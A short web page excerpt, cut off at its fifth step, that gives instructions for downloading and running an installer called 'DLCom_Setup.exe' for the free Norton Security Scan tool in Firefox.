Download and Install Norton Security Scan.Automatically scan your computer with advanced security software.It's quick, easy, and best of all it's free! Instructions to Install Norton Security Scan Step 1 : Click here to start download Step 2 : Click "Save File" in the window that appears. Step 3 : Click on the "Tools" menu in Firefox. You will see a window displaying your downloads. Step 4 : Look for "DLCom_Setup.exe" in the "Downloads" window and double-click it to run it. Step 5 : Your...